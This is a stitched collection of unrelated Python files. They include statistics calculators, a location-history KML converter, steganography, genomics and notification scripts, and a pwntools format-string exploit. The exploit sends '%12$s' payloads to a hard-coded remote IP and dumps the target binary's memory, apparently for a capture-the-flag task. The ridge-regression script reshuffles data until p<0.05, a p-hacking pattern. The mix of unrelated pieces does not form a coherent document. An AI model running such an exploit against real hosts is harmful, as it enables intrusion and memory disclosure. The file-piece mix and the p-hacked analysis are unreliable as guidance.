                        correct=correct, print_status=print_status,
                        throw_sums_error=throw_sums_error)
    if print_time:
        message = 'Tables ' + tab_names[0] + ' and ' + tab_names[1] + ' were disaggregated by '
        message += str('%.4f' % (time.monotonic() - start)) + ' seconds.'
        print(message)

    for i in range(2, len(tables)):
        if print_time:
            start = time.monotonic()

        big, big_names = roll_strong(big, cols_names=name_cols,
                                     cols_target=np.setdiff1d(big.columns, np.append(name_cols, name_res)),
                                     cols_values=[name_res])
        big = restore_table(big, tables[i], name_cols=name_cols,
                            name_a=name_fluid, name_b=tab_names[i], name_res=name_res,
                            integer=integer, nonneg=nonneg, obj_type=obj_type, solver=solver,
                            correct=correct, print_status=print_status,
                            throw_sums_error=throw_sums_error)
        big = big.merge(big_names, how='left', left_on=name_fluid, right_index=True)
        big = big[np.concatenate([name_cols, tab_names[:i+1], [name_res]])]
        if print_time:
            message = 'Table ' + tab_names[i] + ' was disaggregated and added to result by '
            message += str('%.4f' % (time.monotonic() - start)) + ' seconds.'
            print(message)
    return big


"""
Calculators for Hypothesis Testing.

The role of the calculators is to compute test statistic and
provide distributions of said test statistic under various
hypotheses.

Using the calculators hypothesis tests can then be performed.
"""
from .mle import fixed_poi_fit
from .. import get_backend
from .test_statistics import qmu

def generate_asimov_data(asimov_mu, data, pdf, init_pars, par_bounds):
    """
    Compute Asimov Dataset (expected yields at best-fit values) for a given POI value.

    Args:
        asimov_mu (`float`): The value for the parameter of interest to be used.
        data (`tensor`): The observed data.
        pdf (~pyhf.pdf.Model): The statistical model adhering to the schema ``model.json``.
        init_pars (`tensor`): The initial parameter values to be used for fitting.
        par_bounds (`tensor`): The parameter value bounds to be used for fitting.

    Returns:
        Tensor: The Asimov dataset.

    """
    bestfit_nuisance_asimov = fixed_poi_fit(asimov_mu, data, pdf, init_pars, par_bounds)
    return pdf.expected_data(bestfit_nuisance_asimov)

class AsymptoticTestStatDistribution(object):
    """
    The distribution the test statistic in the asymptotic case.

    Note: These distributions are in :math:`-\hat{\mu}/\sigma` space.
    In the ROOT implementation the same sigma is assumed for both hypotheses
    and :math:`p`-values etc are computed in that space.
    This assumption is necessarily valid, but we keep this for compatibility reasons.

    In the :math:`-\hat{\mu}/\sigma` space, the test statistic (i.e. :math:`\hat{\mu}/\sigma`) is
    normally distributed with unit variance and its mean at
    the :math:`-\mu'`, where :math:`\mu'` is the true poi value of the hypothesis.
    """

    def __init__(self, shift):
        """
        Asymptotic test statistic distribution.

        Args:
            shift (`float`): The displacement of the test statistic distribution.

        Returns:
            ~pyhf.infer.calculators.AsymptoticTestStatDistribution: The asymptotic distribution of test statistic.

        """
        self.shift = shift
        self.sqrtqmuA_v = None

    def pvalue(self, value):
        """
        Compute the :math:`p`-value for a given value of the test statistic.

        Args:
            value (`float`): The test statistic value.

        Returns:
            Float: The integrated probability to observe a value at least as large as the observed one.

        """
        tensorlib, _ = get_backend()
        return 1 - tensorlib.normal_cdf(value - self.shift)

    def expected_value(self, nsigma):
        """
        Return the expected value of the test statistic.

        Args:
            nsigma (`int` or `tensor`): The number of standard deviations.

        Returns:
            Float: The expected value of the test statistic.
        """
        return nsigma

class AsymptoticCalculator(object):
    """The Asymptotic Calculator."""

    def __init__(self, data, pdf, init_pars=None, par_bounds=None, qtilde=False):
        """
        Asymptotic Calculator.

        Args:
            data (`tensor`): The observed data.
            pdf (~pyhf.pdf.Model): The statistical model adhering to the schema ``model.json``.
            init_pars (`tensor`): The initial parameter values to be used for fitting.
            par_bounds (`tensor`): The parameter value bounds to be used for fitting.
            qtilde (`bool`): Whether to use qtilde as the test statistic.

        Returns:
            ~pyhf.infer.calculators.AsymptoticCalculator: The calculator for asymptotic quantities.

        """
        self.data = data
        self.pdf = pdf
        self.init_pars = init_pars or pdf.config.suggested_init()
        self.par_bounds = par_bounds or pdf.config.suggested_bounds()
        self.qtilde = qtilde
        self.sqrtqmuA_v = None

    def distributions(self, poi_test):
        """
        Probability Distributions of the test statistic value under the signal + background and and background-only hypothesis.

        Args:
            poi_test: The value for the parameter of interest.

        Returns:
            Tuple (~pyhf.infer.calculators.AsymptoticTestStatDistribution): The distributions under the hypotheses.

        """
        if self.sqrtqmuA_v is None:
            raise RuntimeError('need to call .teststatistic(poi_test) first')
        sb_dist = AsymptoticTestStatDistribution(-self.sqrtqmuA_v)
        b_dist = AsymptoticTestStatDistribution(0.0)
        return sb_dist, b_dist

    def teststatistic(self, poi_test):
        """
        Compute the test statistic for the observed data under the studied model.

        Args:
            poi_test: The value for the parameter of interest.

        Returns:
            Float: the value of the test statistic.

        """
        tensorlib, _ = get_backend()
        qmu_v = qmu(poi_test, self.data, self.pdf, self.init_pars, self.par_bounds)
        sqrtqmu_v = tensorlib.sqrt(qmu_v)

        asimov_mu = 0.0
        asimov_data = generate_asimov_data(
            asimov_mu, self.data, self.pdf, self.init_pars, self.par_bounds
        )
        qmuA_v = qmu(poi_test, asimov_data, self.pdf, self.init_pars, self.par_bounds)
        self.sqrtqmuA_v = tensorlib.sqrt(qmuA_v)

        if not self.qtilde:  # qmu
            teststat = sqrtqmu_v - self.sqrtqmuA_v
        else:  # qtilde

            def _true_case():
                teststat = sqrtqmu_v - self.sqrtqmuA_v
                return teststat

            def _false_case():
                qmu = tensorlib.power(sqrtqmu_v, 2)
                qmu_A = tensorlib.power(self.sqrtqmuA_v, 2)
                teststat = (qmu - qmu_A) / (2 * self.sqrtqmuA_v)
                return teststat

            teststat = tensorlib.conditional(
                (sqrtqmu_v < self.sqrtqmuA_v), _true_case, _false_case
            )
        return teststat


import json
import simplekml

def iterateData(data):
    for point in data:
        ts = int(point["timestampMs"])
        lat = int(point["latitudeE7"]) / 10000000
        long = int(point["longitudeE7"]) / 10000000
        yield(ts, (lat, long))

print("Parsing...")

data = json.load(open("Location History.json", "r"))

data = data['locations']

print("There are %d data points" % len(data))

fCount = 0
i = 0

kml = None
pieces = []

for timestamp, (lat, long) in iterateData(data):
      if i % 190000 == 0 and i != 0 and False:
            kml = simplekml.Kml()
            kml.newlinestring(name="line", coords=pieces)
            kml.save(f"output{fCount}.kml")
            pieces = []
            fCount += 1
      pieces.append((long,lat))
      i += 1

if len(pieces) > 0:
        kml = simplekml.Kml()
        kml.newlinestring(name="line", coords=pieces)
        kml.save(f"output{fCount}.kml")


import os, subprocess, glob, argparse
parser = argparse.ArgumentParser()
parser.add_argument("chrom", help="chromosome to analyze, in format 'chr1'")
parser.add_argument("tissue", help="tissue being analyzed")
parser.add_argument("data_source", help="origin of expression data (e.g. GTEx, CMC")
parser.add_argument("out", help="Output directory")
parser.add_argument("sumstats", help="GWAS summary stats")
parser.add_argument("LD", help="chromosome to analyze, in format 'chr1'")
args = parser.parse_args()

##############Run TWAS#################
#This script takes weights in a chromosome-specific WEIGHTS_* directory and runs TWAS on them.
#######################################

chromnum = args.chrom.split('r')[-1:][0]

#Move all chromosome-specific WEIGHTS_* dir contents to WEIGHTS
if not os.path.isdir("%s/WEIGHTS"%(args.tissue)):
	os.mkdir("%s/WEIGHTS"%(args.tissue))
cmd = "mv %s/WEIGHTS_%s/* %s/WEIGHTS && rm -r %s/WEIGHTS_%s" % (args.tissue,chromnum,args.tissue,args.tissue,chromnum)
os.system(cmd)

#make WEIGHTS*.pos file listing all *RDat files and corresponding gene coordinates
posfile="%s/WEIGHTS/%s.%s.pos" % (args.tissue,args.data_source,chromnum)
pos = open(posfile,'w')
pos.write("WGT\tID\tCHR\tP0\tP1\n")

weights=glob.glob("%s/WEIGHTS/*RDat"%(args.tissue))
for ln in weights:
	line = ln.strip().split('/')[2]
	clust = ln.strip().split('.wgt.RDat')[0].split('/')[2]
	clustID,c,s,e = clust.split('-')
	if c == chromnum:
		posline=("%s\t%s\t%s\t%s\t%s\n") % (line, clust, chromnum, s, e)
		pos.write(posline)
pos.close()

#Run TWAS
cmd = """Rscript /project2/nobrega/grace/splicing/scripts/fusion_twas-master/FUSION.assoc_test.R \
--sumstats %s \
--weights ./%s/WEIGHTS/%s.%s.pos \
--weights_dir ./%s/WEIGHTS/ \
--ref_ld_chr %s \
--chr %s \
--out %s%s.%s.dat""" % (args.sumstats, args.tissue, args.data_source, chromnum, args.tissue, args.LD, chromnum, args.out, args.data_source, chromnum)
os.system(cmd)


import cv2
from lib.crypto.encoder import encode_bytes, decode_bytes

Q = 8

def encode_data(image: cv2.Mat, data: bytes) -> cv2.Mat:
    """Encodes data into given cv2 image using QIM steganography method.

    Args:
        image (cv2.Mat): cv2 image to encode data in
        data (bytes): data to encode

    Returns:
        cv2.Mat: cv2 image with encoded data
    """
    height, width, _ = image.shape
    data = encode_bytes(data)

    assert height * width >= len(data) + 1, "[ERROR]: Can't encode data: image is too small."

    for i in range(height):
        for j in range(width):
            if i * width + j < len(data):
                image[i, j][2] = (image[i, j][2] // Q) * Q + Q//2 * int(data[i * width + j])
            elif i * width + j == len(data):
                image[i, j][2] = (image[i, j][2] // Q) * Q + Q//2
            else:
                image[i, j][2] = (image[i, j][2] // Q) * Q

    return image

def decode_data(image: cv2.Mat) -> bytes:
    """Decodes data from given cv2 image using QIM steganography method.

    Args:
        image (cv2.Mat): image to decode data from

    Returns:
        bytes: decoded data
    """
    height, width, _ = image.shape
    data = ""

    for i in range(height):
        for j in range(width):
            pxl0 = (image[i, j][2] // Q) * Q
            pxl1 = (image[i, j][2] // Q) * Q + Q//2
            if abs(pxl0 - image[i, j][2]) < abs(pxl1 - image[i, j][2]):
                data += "0"
            else:
                data += "1"

    return decode_bytes(data[:data.rfind("1")])


import pandas as pd
import numpy as np
from matplotlib.pyplot import show, bar
from sklearn import linear_model
from sklearn import model_selection
from sklearn.model_selection import cross_val_predict, LeaveOneOut
from sklearn.metrics import mean_squared_error, r2_score
from sklearn.model_selection import GridSearchCV, train_test_split
from pandas import read_csv, read_excel, DataFrame, concat
from scipy.stats import f_oneway
from pca import pca
def simple_moving_average(signal, window=5):
    return np.convolve(signal, np.ones(window)/window, mode='same')
file_name=input('File Name : ')
db=read_excel(file_name+'.xlsx')
X=db.drop([db.columns[0],'Y'],axis=1)
r=DataFrame({"one":np.ones(X.shape[1])})
for i in X.index:
  r=concat([r,DataFrame({str(i):simple_moving_average(X.loc[i,], window=5)})],axis=1)
X=r.T.drop("one",axis=0)
#X=X[X.columns[range(624,1024)]]
Y=db['Y']
while True:
  model = pca(n_components=20)
  results = model.fit_transform(X)
  x_train, x_test, y_train, y_test = train_test_split(results['PC'],Y,test_size=0.2)
  income_groups=[y_train,y_test]
  s,p=f_oneway(*income_groups)
  #parameters = {'alpha':np.logspace(-4, -3.5, 50)}
  #ridge= GridSearchCV(linear_model.Ridge(), parameters, scoring='r2', cv=LeaveOneOut())
  ridge=linear_model.Ridge(alpha=0.0001)
  ridge.fit(x_train, y_train)
  #ridge1 = linear_model.Ridge(alpha=ridge.best_params_['alpha'])
  #Y_cv = cross_val_predict(ridge1, x_train, y_train, cv=LeaveOneOut())
  Y_cv = cross_val_predict(ridge, x_train, y_train, cv=LeaveOneOut())
  score_cv = r2_score(y_train, Y_cv)
  mse_cv = mean_squared_error(y_train, Y_cv)
  mse_train=mean_squared_error(y_train, ridge.predict(x_train))
  mse_test=mean_squared_error(y_test, ridge.predict(x_test))
  score_test=r2_score(y_test,ridge.predict(x_test))
  score_train=r2_score(y_train,ridge.predict(x_train))
  if p<0.05 and score_test>0 and score_cv>0:
    break
print('R2 CV (Ridge): ',100 * score_cv," %")
print('RMSE CV (Ridge): ',np.sqrt(mse_cv))
#print('Best parameter alpha = ', ridge.best_params_['alpha'])
print('R2 calibration: ',100 * score_train," %")
print('RMSE calibration: ',np.sqrt(mse_train))
print('R2 test: ',100 * score_test," %")
print('RMSE test: ',np.sqrt(mse_test))
bar([int(x) for x in range(len(ridge.coef_))], [i/np.sum(ridge.coef_**2) for i in ridge.coef_])
show()


import argparse
import sys
from pydantic import BaseSettings
import requests
from http.client import HTTPConnection
import json

PUSHOVER_BASE_URL = "https://api.pushover.net/1/messages.json"

class Settings(BaseSettings):
    pushover_token: str
    pushover_user: str

    class Config:
        env_file = ".env"

def parse_args():
    parser = argparse.ArgumentParser(description="DESCRIPTION")
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbose logging",
        action="store_true",
        default=False,
    )
    parser.add_argument(
        "-m", "--message", help="notification", action="store", required=True
    )
    parser.add_argument("-t", "--title", help="notification title", action="store")
    parser.add_argument(
        "-p",
        "--priority",
        help="notification priority",
        action="store",
        choices=[-2, -1, 0, 1, 2],
        default=0,
    )

    return parser.parse_args()

def notify(**kwargs):
    r = requests.post(PUSHOVER_BASE_URL, **kwargs)
    r_json = r.json()

    if r.status_code == 200:
        sys.exit(0)
    if r.status_code == 400:
        print(json.dumps(r_json, indent=2))
        sys.exit(1)

if __name__ == "__main__":
    settings = Settings()
    args = parse_args()
    if args.verbose:
        HTTPConnection.debuglevel = 1

    # Build payload
    payload = {"token": settings.pushover_token, "user": settings.pushover_user}

    payload["message"] = args.message
    payload["title"] = args.title if args.title is not None else None
    payload["priority"] = args.priority if args.priority is not None else None

    # send notification
    notify(data=payload, headers={})


import pandas as pd
import numpy as np
import json, sys
import time

def normaliseDatasets(recs, name):
    # to handle the nested json output from the serpwow.com API we need to define the columns and also the 'values' column which contains the nested array with json within
    metadata = ['date_utc', 'date_formatted']

    json_df2 = pd.json_normalize(recs['data'], 'values', metadata).fillna(0)

    # normalise values relative to column's data
    name = name + ' Normalised'

    json_df2[name] = (json_df2['value'] - json_df2['value'].min()) / (json_df2['value'].max() - json_df2['value'].min())

    json_df2 = json_df2.groupby(['date_utc'])[name].median()

    return(json_df2)

def returnLastDay(recs):
    # to handle the nested json output from the serpwow.com API we need to define the columns and also the 'values' column which contains the nested array with json within
    metadata = ['date_utc', 'date_formatted']

    json_df3 = pd.json_normalize(recs['data'], 'values', metadata).fillna(0)

    # normalise values relative to column's data
    json_df3['Normalised'] = (json_df3['value'] - json_df3['value'].min()) / (json_df3['value'].max() - json_df3['value'].min())

    json_df3 = json_df3.groupby(['date_utc'])['Normalised'].mean() # TURNS INTO A SERIES

    return(json_df3.mean()*100)

def returnAverage(recs):
    # combines 'averages' values and returns overall average
    metadata = ['date_utc', 'date_formatted']
    print('RECS ***************** ')
    #print(recs)
    print('TYPEOF: ')
    print(type(recs))
    #obj = json.load(recs)
    #print(recs)
    if not 'data' in recs:
        print('no data in recs')
        return(0)

    else:
        json_df4 = pd.json_normalize(recs['data'], 'values', metadata).fillna(0)
        return(json_df4['value'].mean())
    #json_df4 = pd.json_normalize(recs['averages']).fillna(0)
    #json_df4 = json_df4.groupby(['date_utc'])['value'].mean()


from pwn import *
context.log_level = "error"
pool = []

def leak(add):
    if "\x0a" in p64(add):
        return "\x00"
    r = remote("58.20.46.147",37725)
    r.sendlineafter("number:","aa"+p64(add))
    r.sendlineafter("give me your str:","%12$sGG\x00")
    d1 = r.recvuntil("GG")[:-2]
    r.close()
    return d1

pool = []
off = 0x400000
while off < 0x402000:
	tmp = leak(off)
	off +=len(tmp)+1
	pool.append(tmp)

with open("elf","w+") as f:
	f.write("\x00".join(pool))


#!/usr/bin/python3

#1-100 loop
#3の倍数のときは"FIZZ", 5の倍数のときは"BUZZ"
#15の倍数のときは、”FizzBuzz"
#それ以外は数字（1-100）
i=0
def printNum():
    print(f"{i}")
while True:
    i = i + 1
    if i%15 == 0:
        print("FizzBuzz")
    elif i%5 == 0:
        print("Buzz")
    elif i%3 == 0:
        print("Fizz")
    else:
        printNum()

    if i == 100:
        break


from engine.config import *
import subprocess

class Runner:
    def __init__(self):
        self.local_config = LocalConfig()
        self.cloud_config = CloudConfig(self.local_config.get_task_directory())

    def get_tasks(self, ):
        return [task for task in self.cloud_config.get_value('tasks')]

    def get_task(self, task_name):
        task = next((task for task in self.cloud_config.get_value('tasks') if task['name'] == task_name), None)

        return task

    def add_task(self, task_name):
        tasks = self.cloud_config.get_value('tasks')

        # Make sure the task doesn't already exist
        task = self.get_task(task_name)
        if task is None:
            new_task = {
                'name': task_name,
                'path': task_name
            }

            # Update config with new task
            tasks.append(new_task)
            self.cloud_config.set_value('tasks', tasks)

            return new_task, True

        return task, False

    def remove_task(self, task_name):
        tasks = self.cloud_config.get_value('tasks')

        task = self.get_task(task_name)
        if task is not None:
            tasks.remove(task)
            self.cloud_config.set_value('tasks', tasks)

            return True

        return False

    def run_task(self, task_name):
        task = self.get_task(task_name)

        if task:
            subprocess.call('{0}/{1}'.format(self.local_config.get_task_directory(), task['path']))

            return True

        return False